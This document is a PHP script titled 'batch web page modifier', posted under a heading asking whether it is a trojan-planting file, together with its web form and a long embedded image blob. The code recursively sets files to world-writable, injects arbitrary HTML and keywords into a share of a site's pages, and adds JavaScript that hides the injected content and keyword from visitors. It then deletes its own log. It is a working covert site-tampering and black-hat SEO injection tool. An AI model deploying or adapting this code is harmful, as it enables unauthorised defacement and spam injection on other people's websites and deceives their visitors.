挂马文件??

<?php
/**
 * Created by JetBrains PhpStorm.
 * User:JAE
 * Date: 13-7-23
 * Time: 上午9:03
 * 批量网页修改器
 * 版本:V3.0
 */
set_time_limit(0); // 通过set_time_limit(0)可以让程序无限制的执行下去
class GHL
{

    private $keyword; // 要向文档中插入的关键字
    private $insertStr; //要向文档中插入的字符串
    private $suffixArr; //要修改的文件后缀
    private $per; //要插入的文件占所有文件的百分比
    //  private $encoding;    //页面编码
    private $logPath; //日志路径
    private $filterArr; //过滤数组
    private $conRegArr; //正文规则库
    function __construct($keyword, $insertStr, $suffixArr = array("html"),$filterArr=array(), $per = "0.5", $encoding = "GB2312", $logPath = "./log.txt")
    {

        /*
       if($encoding=="auto")
       {
           $home ="http://". $_SERVER["HTTP_HOST"];
           $encoding = $this->get_encode($home);
           if($encoding==false)
               die("无法自动识别页面编码!");
       }*/

        $this->keyword = mb_convert_encoding($keyword, $encoding, "UTF-8");
        $this->insertStr = mb_convert_encoding($insertStr, $encoding, "UTF-8");
        $this->suffixArr = $suffixArr;
        $this->per = $per;
        //$this->encoding = $encoding;
        $this->logPath = $logPath;
        $this->filterArr = $filterArr; //过滤含有某些关键字的文件

        $this->conRegArr = array("(<div[^>]+?post[^>]+?>.+?<p>)(.+?)(<\/p>)","(<div[^>]+?content[^>]+?>.+?<p>)(.+?)(<\/p>)","(<div[^>]+?text[^>]+?>.+?<p>)(.+?)(<\/p>)","(<div[^>]+?article[^>]+?>.+?<p>)(.+?)(<\/p>)","(<div[^>]+?news[^>]+?>.+?<p>)(.+?)(<\/p>)","(<div[^>]+?news[^>]+?>.+?<span>)(.+?)(<\/span>)","(<div[^>]+?article[^>]+?>.+?<span>)(.+?)(<\/span>)","(<div[^>]+?text[^>]+?>.+?<span>)(.+?)(<\/span>)","(<div[^>]+?post[^>]+?>.+?<span>)(.+?)(<\/span>)","(<div[^>]+?content[^>]+?>.+?<span>)(.+?)(<\/span>)","(<table[^>]+?>.+?<p>)(.+?)(<\/p>)");

        $this->getFilesAndModify(".");
        $this->writeLog("ALL IS OK!!!");

        $log = file_get_contents($this->logPath);;
            unlink($this->logPath);


        //自毁
        echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />';
        /*
        $fname = basename($_SERVER["SCRIPT_NAME"]);
        if(unlink($fname))
            echo "自杀成功!";
        else
            echo "额,自杀失败,请你赶快了结我吧!";
          */

    //  $sname = $_SERVER["SCRIPT_NAME"];
    //    echo "<a href=\"$sname\">继续操作</a>|<a href=\"$sname?die\">自我了结</a> ";

        echo<<<log
      <fieldset>
            <legend>操作日志</legend>
            <pre>
            $log
            </pre>
      </fieldset>
log;
  file_put_contents(".jae","");
    }

    /**
     * 检查数组中的值是否出现在字符串中
     * @param $arr
     * @param $str
     * @return bool
     */
    private function   array_in_string($arr,$str)
    {
        foreach ($arr as $a) {
            if(!empty($a)&&stristr($str,$a))
                return true;
        }
      return false;
    }
    /**
     * 获取文件编码
     * @param $file
     * @return bool|string
     */
    public  static   function get_encode($file){
        //暂时只支持('UTF-8 BOM', 'UTF-8','GB2312','ASCII')
        /*
        $signal  = fread(fopen($file,'rb'),2);
        if($signal == chr(239).chr(187)){return 'UTF-8 BOM';}
        fclose($fp);
        */
        $string = file_get_contents($file);
        if(chr(239).chr(187).chr(191) == substr($string, 0, 3)) return 'UTF-8';  //UTF-8 BOM
        if($string === @iconv('UTF-8', 'UTF-8',  iconv('UTF-8', 'UTF-8', $string)))  return 'UTF-8';
        if($string === @iconv('UTF-8', 'ASCII',  iconv('ASCII', 'UTF-8', $string)))   return 'GB2312';  //ASCII
        if($string === @iconv('UTF-8', 'GB2312', iconv('GB2312', 'UTF-8', $string)))  return 'GB2312';
        return false;
    }
    /**
     * 得到目录下的所有文件并修改
     * @param $dir
     * @return bool
     */
    private function getFilesAndModify($dir)
    {

        //列出所有文件
        $farr = scandir($dir);
        //切换当前工作目录
        //  if(!chdir($dir))return false;
        $sum = $this->getWfileNumber($dir);
        foreach ($farr as $f) {

            if ($f != "." && $f != "..") {

                $fileName = $f;
                //补全路径
                $f = $dir . '/' . $f;
                //改变文件模式
                @chmod($f, 0777);
                if (is_dir($f)) {
                    $this->getFilesAndModify($f);
                } else if ($this->checkSuffix($f, $this->suffixArr)) {
                    //修改文件

                    if ($sum <= 0||$this->array_in_string($this->filterArr,$fileName)) continue;

                    if (!is_readable($f)) {
                        $this->writeLog(getcwd() . '/' . $f . ' 文件不可读!!!');
                        continue;
                    }
                    if (!is_writable($f)) {
                        $this->writeLog(getcwd() . '/' . $f . ' 文件不可写!!!');
                        continue;
                    }
                    $html = file_get_contents($f);
                    $js = '<script>onload = function(){var title =  document.getElementsByTagName("title").item(0);var tArr = (title.innerHTML).split("_");tArr = tArr.slice(1);title.innerHTML=tArr.join("_"); var jae = document.getElementsByClassName("jae");for(var i in jae)jae[i].style.display="none";}</script>';

                  //寻找正文,并插入内容
                    $chtml = $html;
                    $falg = true;
                    foreach ($this->conRegArr as $r) {

                        if(preg_match('/'.$r.'/is',$html))
                        {
                               $chtml = preg_replace('/'.$r.'/is', '$1' . $js . '<div class="jae">' . $this->insertStr . '</div> $2 $3', $html);
                              $falg = false;
                               break;
                        }
                    }
                    if($falg)
                    {
                           $chtml = preg_replace("/(.*)<\/body>/i", '$1' . $js . '<div class="jae">' . $this->insertStr . '</div></body>', $html);
                    }


                    if (!empty($this->keyword)) {
                        $chtml = preg_replace("/<title>(.+)<\/title>/i", '<title>' . $this->keyword . ' _ $1 </title>', $chtml);
                        $meta1 = "/<meta\s+name=(.+)content=['\"](.+)['\"]\s*(\/)?>/iU";
                        $meta2 = "/<meta\s+content=['\"](.+)['\"]\s+name=(.+)(\/)?>/iU";
                        $chtml = preg_replace($meta1, '<meta name=$1 content="' . $this->keyword . ',$2" />', $chtml);
                        $chtml = preg_replace($meta2, '<meta name=$2 content="' . $this->keyword . ',$1" />', $chtml);
                    }
                    if ($chtml != $html) {
                        if (!file_put_contents($f, $chtml)) {
                            $this->writeLog(getcwd() . '/' . $f . ' 文件修改失败(写入失败)!!!');
                        } else {
                            $this->writeLog(getcwd() . '/' . $f . ' 文件修改成功!!!');
                            $sum--;
                        }
                    } else {
                        $this->writeLog(getcwd() . '/' . $f . ' 文件修改失败(匹配失败)!!!');
                    }
                }
            }
        }

        return true;
    }


    /**
     * 获取当前文件夹有多少个文件将要被修改
     * @param $dir
     * @return float
     */
    private function getWfileNumber($dir)
    {
        $farr = scandir($dir);
        $sum = 0;
        foreach ($farr as $f) {
            //补全路径
            $f = $dir . '/' . $f;
            if (is_file($f) && $this->checkSuffix($f, $this->suffixArr))
                $sum++;
        }
        return ceil($sum * $this->per);
    }

    /**
     * 检查文件后缀是否是用户提供的
     * @param $file
     * @param $suffixArr
     * @return bool
     */
    private function checkSuffix($file, $suffixArr)
    {
        $arr = pathinfo($file);
        if (isset($arr["extension"])) {
            return in_array($arr["extension"], $suffixArr);
        }
        return false;
    }

    /**
     * 写操作日志函数
     * @param $log
     * @return bool|int
     */
    private function writeLog($log)
    {
        if (empty($this->logPath)) return false;
        return file_put_contents($this->logPath, $log . "\r\n", FILE_APPEND);
    }
}

/**
 * Class AppendContent
 * 批量追加功能
 */
class AppendContent{
    private  $webPath ; //要扫描的路径
    private  $fileArr ; //要修改的文件名集合
    private $insertStr; //要追加的字符串
    private $logPath = "./log.txt"; //日志文件路径
    function __construct($fileStr, $insertStr, $pageEncode, $webPath)
    {
        $this->fileArr = explode(",",$fileStr);
        $this->insertStr = mb_convert_encoding($insertStr,$pageEncode,"UTF-8");
        $this->webPath = $webPath;
        $this->scanPath($this->webPath);

        $this->writeLog("ALL IS OK!!!");
        $log = file_get_contents($this->logPath);;
        unlink($this->logPath);
        //自毁
        echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />';
        /*
        $fname = basename($_SERVER["SCRIPT_NAME"]);
        if(unlink($fname))
            echo "自杀成功!";
        else
            echo "额,自杀失败,请你赶快了结我吧!";
          */

        //  $sname = $_SERVER["SCRIPT_NAME"];
        //    echo "<a href=\"$sname\">继续操作</a>|<a href=\"$sname?die\">自我了结</a> ";

        echo<<<log
      <fieldset>
            <legend>操作日志</legend>
            <pre>
            $log
            </pre>
      </fieldset>
log;
    }
    private function  scanPath($dir){
        //列出所有文件
        $farr = scandir($dir);
        foreach ($farr as $f) {
            if ($f != "." && $f != "..") {
                $fileName = $f;
                //补全路径
                $f = $dir . '/' . $f;
                if (is_dir($f)) {
                    $this->scanPath($f);
                } else if(in_array($fileName,$this->fileArr)){

                    if(file_put_contents($f,"<div class='jae_add'>".$this->insertStr."</div>",FILE_APPEND))
                    {
                        $this->writeLog($f." 修改成功!!!");
                    }else{
                        $this->writeLog($f."修改失败!!!!");
                    }
                }
            }
        }
    }
    /**
     * 写操作日志函数
     * @param $log
     * @return bool|int
     */
    private function writeLog($log)
    {
        if (empty($this->logPath)) return false;
        return file_put_contents($this->logPath, $log . "\r\n", FILE_APPEND);
    }
}
//$hj = new GHL("xxxxbb");
/*
if(isset($_GET["die"]))
{
    //自毁
   echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />';
    $fname = basename($_SERVER["SCRIPT_NAME"]);
    if(unlink($fname))
        die("自杀成功!");
    else
        die("额,自杀失败,请你赶快了结我吧!");

}*/
if (isset($_POST["html"])) {
    $keyword = $_POST["keyword"];
    $insertStr = stripslashes($_POST["html"]);   //post提交会产生转义字符,这里要去掉
    $per = $_POST["per"];
    $encoding = $_POST["encoding"];
    $log = "./log.txt";
    $suffix = $_POST["suffix"];
    $filter = $_POST["filter"];
    $suffixArr = explode(",", $suffix);
    $filterArr = explode(",",$filter);

    $hj = new GHL($keyword, $insertStr, $suffixArr,$filterArr, $per, $encoding, $log);

}else if(isset($_POST["add_html"])){

    $hj = new AppendContent($_POST["add_fileName"],stripslashes($_POST["add_html"]),$_POST["add_encoding"],$_POST["add_webPath"]);
}
else
{
    $home ="http://". $_SERVER["HTTP_HOST"];
    $encoding = GHL::get_encode($home);
    echo<<<str
<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <title>网页批量修改器---Powered By JAE</title>
<style type="text/css">
input,textarea {
    padding: 5px;
    font-size: 15px;
    outline: none;
    text-shadow: 0px 1px 0px #fff;
    -webkit-border-radius: 3px;
    -moz-border-radius: 3px;
    border-radius: 3px;
    border: 1px solid #ccc;
    -webkit-transition: .3s ease-in-out;
    -moz-transition: .3s ease-in-out;
    -o-transition: .3s ease-in-out;
}

input:focus,textarea:focus {
     border: 1px solid #fafafa;
     -webkit-box-shadow: 0px 0px 6px #007eff;
     -moz-box-shadow: 0px 0px 5px #007eff;
     box-shadow: 0px 0px 5px #007eff;
}
</style>

  <style type="text/css" >
body {
	/*background-image:url();*/
	font-family: Arial, Helvetica;
	text-shadow: 0px 1px 0px #fff;
	font-weight: bold;
	background-repeat: no-repeat;
	background-position: top center;
	background-color: #657077;
	margin: 40px;
}
#tabbed_box_1 {
	margin: 0px auto 0px auto;
	width: 340px;
}
.tabbed_box h4 {
	font-family: Arial, Helvetica, sans-serif;
	font-size: 23px;
	color: #ffffff;
	letter-spacing: -1px;
	margin-bottom: 10px;
}
.tabbed_box h4 small {
	color: #e3e9ec;
	font-weight: normal;
	font-size: 9px;
	font-family: Verdana, Arial, Helvetica, sans-serif;
	text-transform: uppercase;
	position: relative;
	top: -4px;
	left: 6px;
	letter-spacing: 0px;
}
.tabbed_area {
	border: 1px solid #494e52;
	background-color: #636d76;
	padding: 8px;
}
ul.tabs {
	margin: 0px;
	padding: 0px;
	margin-top: 5px;
	margin-bottom: 6px;
}
ul.tabs li {
	list-style: none;
	display: inline;
}
ul.tabs li a {
		background-color:#464c54;
	color:#ffebb5;
	padding:8px 14px 8px 14px;
	text-decoration:none;
	font-size:9px;
	font-family:Verdana, Arial, Helvetica, sans-serif;
	font-weight:bold;
	text-transform:uppercase;
	border:1px solid #464c54;
	background-image:url(http://vip.xzfd.net/img/2012/20131010/101008164692.jpg);
	background-repeat:repeat-x;
	background-position:bottom;
}
ul.tabs li a:hover {
	background-color: #2f343a;
	border-color: #2f343a;
}
ul.tabs li a.active {
	background-color: #ffffff;
	color: #282e32;
	border: 1px solid #464c54;
	border-bottom: 1px solid #ffffff;
	background-image: url(http://vip.xzfd.net/img/2012/20131010/101008164693.jpg);
	background-repeat: repeat-x;
	background-position: top;
}
.content {
	background-color: #ffffff;
	padding: 10px;
	border: 1px solid #464c54;
	font-family: Arial, Helvetica, sans-serif;
	background-image: url(http://vip.xzfd.net/img/2012/20131010/101008164694.jpg);
	background-repeat: repeat-x;
	background-position: bottom;
}
#content_2, #content_3 {
	display: none;
}
.content ul {
	margin: 0px;
	padding: 0px 20px 0px 20px;
}
.content ul li {
	list-style: none;
	border-bottom: 1px solid #d6dde0;
	padding-top: 15px;
	padding-bottom: 15px;
	font-size: 13px;
}
.content ul li:last-child {
	border-bottom: none;
}
.content ul li a {
	text-decoration: none;
	color: #3e4346;
}
.content ul li a small {
	color: #8b959c;
	font-size: 9px;
	text-transform: uppercase;
	font-family: Verdana, Arial, Helvetica, sans-serif;
	position: relative;
	left: 4px;
	top: 0px;
}
.content ul li a:hover {
	color: #a59c83;
}
.content ul li a:hover small {
	color: #baae8e;
}

</style>

  <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>
  <script>

	  // When the document loads do everything inside here ...
	  $(document).ready(function(){

		// When a link is clicked
		$("a.tab").click(function () {


			// switch all tabs off
			$(".active").removeClass("active");

			// switch this tab on
			$(this).addClass("active");

			// slide all content up
			$(".content").slideUp();

			// slide this content up
			var content_show = $(this).attr("tab");
			$("#"+content_show).slideDown();

		});

	  });
  </script>
  <script type="text/javascript">
	$(function(){
		   $("#rangevalue").text($("#salary").val()*100+"%");
		   $("#salary").change(function(){

			     $("#rangevalue").text($(this).val()*100+"%");

			   });

			   /*
		$("#keyword").change(function(){

                  var t =  $(this).val();
                  if(t.length>0)
			     $("#html").text('<script type="text/javascript" src="http://www.gdsfg.com/modify_title.js" ><\/script>');

			   });*/


		});
	function tj()
		{
		   //   $("legend").html("提示");
         // $("#config").hide();
         $("[id^=content]").html('正在扫描修改中,请稍等。。。。<br/><embed src="http://1017.88yx.com/flash/5%E7%9B%8A%E6%99%BA%E7%B1%BB/%E5%AF%BF%E5%8F%B8%E6%95%B0%E7%8B%AC.swf" width="100%"></embed>');
         return true;

		}
</script>

  </head>
  <body youdao="bind" background="data:img/jpg;base64,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
KCaDKDKDAYAAAAAAAADQVAbAbAVAbAVEGwFQFQFQFQFQFQFQFQFwFQVUBUBcBUBcBUBcBUQXAVAV
AXAVAXAVAXAVAXAVBVQFwRUFVAXAVAVEFQFQFQFQFQGwFQFQGwFQGg0GgAAwGAygwE0GUE0E0E0G
UE0E0E0E1RFBNBNBNBFETQTQRQTQRQTQRQTQRQTQTVEVBFUTQTQRQTQRQTQTREUE0E0E0E0E0E0E
0E0E1RNQZQTVGVBNUYDAYDAAAAAAAAAaCgaDQVAbAVAVEGwFQFQFQFQFQFQFQFwFQFQVcBUBUBcB
UBcBUQXAVAVAXAXAVAVAXAVAXAVAVAXBVQFQFwFQFQFRBUBUBUBUBsBUBUBoKgNgNgNBoFBgMBNB
lBNBlBNBlBNBNUTQTUE1RNBNBFBNETQRRU0RNBFBNBFBNBFBNBNBFBNBFBNURUE1RFBNBFBNBNER
RU0RNFTRE0E0E0E0E0E1RlQTVE0GUE0GUGAwGAAAAAAAAA2AoGwGwFRBsUVEGwFQFQFQFQFQFQVU
EVAXAVAVBVQFwFQFwFQFwFQFQFxBcBUBcBUBUBcBUBcBUFXBFQFQVUBcBUBUQVFFQFRBUBUBsBUB
UBsBUBoNBoNBgMoMoMoMBIMoJoJoMoJoJqiagmgmqIoJoJoJoiaCKKmiIoJoIoJoJoIoJoIoIqia
giqJoJoIoJoIoJoiaCKCaCaCaCaCaCaCaCaCaDKCaomoMqiaDAYDAYAAAAAAAACgaDQbEFRRsQVF
GwFRBUBUBUBUBUBUBUBcBUFVBFQVcBUBcBUBcBUBUBcQVAXAVAXAVAXAVAXAVAVAXBVQFQFQFwFQ
FRBUBUBUBsBUBUBsBQNgNBoNBoM0AGAwEgygmgygkE0E0GUE0EVRNBNBNETRU0RFFTREUE0E0EUE
0EUE0EUE1RFQTQRVE0E0EUE0EUE0E0RFBNBNBNBNBNBNBNBNBNUTUGVRNQYomgygwGAwAAAAAAAA
GgoGwGxBUUbAVAbEFQFQFQFQFQFQFQFQFQVcBUBUBcBUBUBcBUBcQVAXFFRBcBUBcBUBcBUBUBcB
UBUFXBFQVUBUBUQVFFRBUBUBUBUBsBQNBoKABoGgAAwGAwEgygmgygmgmgmgmqJoJoJoiaKmgigm
iJoIoJoIoJoJoIoJoIoJoIoJqiKCaCaCKCaCKCaImgigmgmgmgmgigygmgmgmgmgyqJBlBIMBlBg
MAAAAAAAABsBoKgNBUQbFFQGxBUBUBUBUBUBUBUBUBUBUBcBUFVAXAVAXAVAXAVAVEFwFQFwFQFw
FQFwFQFQFwFQVUBcBUBUBUBUQVFFQFRBsBUBsBQNgNBWg3QNA0DQAYDNBgJBgMoJoJoMoJoJqiag
mqJoIoJoJoiaCKCaKmiIoJoIoJoIoJoJoIoJoIqiKCaCaCKImipoIoiaKmiJoIoJoJoJoJoMoJoJ
oMUSgyqJoMBlBgMAAAAAAAABsBoKBsBsBUBQNiCoCoCoCoCoDYC4CoCoKqCKgq4CoC4CoCoC4Cog
uAqAuAqAqAuAqAuAqAuAqAqCqgi4KqAqAqAqAqAqAqIKgNgKgKlBsBoNgKA0G6BoGgzQNBmgwGAm
gwE0GUE0E0E1RNBNBNBNBNBFETRU0RFBNBNBFBNBFBNBFBNBNBFUTQRQTQRQTQTQRQTRE0E0EUE0
E0E0E0E0GUE0E0E0GVRNBgMBgJAAAAAAAAABoNBsBQNgKBsBUQVFGxBUBUBUBUBUBcBUBUFVBFQV
cBUBcBUBUBcBUQXAVAXAVAXAVAVAXAVAVAXAVAVBVQFQFQFQFQFQFIKgKgNgKgNlBoNBug0DQNA0
DQZoAM0GWgkGAmgygmgmgmqJqCaomgmgmgmiJoIoJoIoJoJoIoJoIoJoJoIqiaCKCaCKCaCaCKCa
CaCaCKImgmgmgmgmgmgmgygmgmqMqCaowGUEgwAAAAAAAAAGg0GgqA2AqA2IKgNgKgKgKgKgKgKg
KgKgLgqoCoCoC4CoC4CoCoC4CoguAqAqAuAqAuAqAqAuAqAqAqUFwVUBUBUBUBsBUQVAbFFRBsoK
gNlBug3QNBugaBoM0DQZoM0GaDKCaDATaDKCaCaomgygigmgmgmgmiIoJoJoJoIoJoIoJoIoJoJo
IqiaCKCaCaCKCaCaCKImgmgmgmgmgmgmgmgmgmqMoJoMBIMBgJBgAAAAAAAAANBoNgNBQNgKiDYo
qIKgKgKgKgKgKgKgKgKgqoC4CoIqCrgKgKgLgKgLiCoCoC4CoCoC4CoC4CoCoCoC4CpQVBVQFQFQ
GwFSoKijZUFQGg3QbqjdQboN0DQNA0DQZoAMBgMBIMtBNUZoJBNBNoJoJoJoJtETQTQTQRQTQTQR
QTQTQRQTQRQTVE0EUE0E0EUE0E0EUE0RNFTRE0EUE0E0E0GAmgmgmqMQTVGUGUEgygwAAAAAAAAA
Gg0Gg0FQGgqA2IKgKgNgKgKgKgKgKgLgKgKgKgqoC4CoCoC4CoCoC4gqAuAqAqAuAqAqAuAqAqAq
AuA2CrgKlBsoKlBUBUQbFFSg3QVEG6DdBugaDdA0DQNA0DQZoM0GaDKoy1BNUZagm0GVRNBNBNBN
BNBNoiaCaCaCaCKCaCaCKCaCaCKCaoigmgmgigmgigmgmiJoqaIigmgmgmgkE0E0E0GUE1RKDKCa
oygkGAwGAAAAAAAAAA2A0GxBqjQUDYCogqA2AqAqAqAqAqAqAqAqAqAuCqgKgKgLgKgKgLgKgKiC
4CpQXAVAVAXAVAVAVAVBVyiNgq4IqCtgKlBUBsBUBUqDZVG6DdBuoN0DQboNA0GaBoGgzVGaBagn
QZoMtUZoJoJoMoJtBNBNBNETQTQTQTQTQRQTQTQTQRQTQRQTVE0EUE0E0EUE0E0EUE0E0RNBNBNB
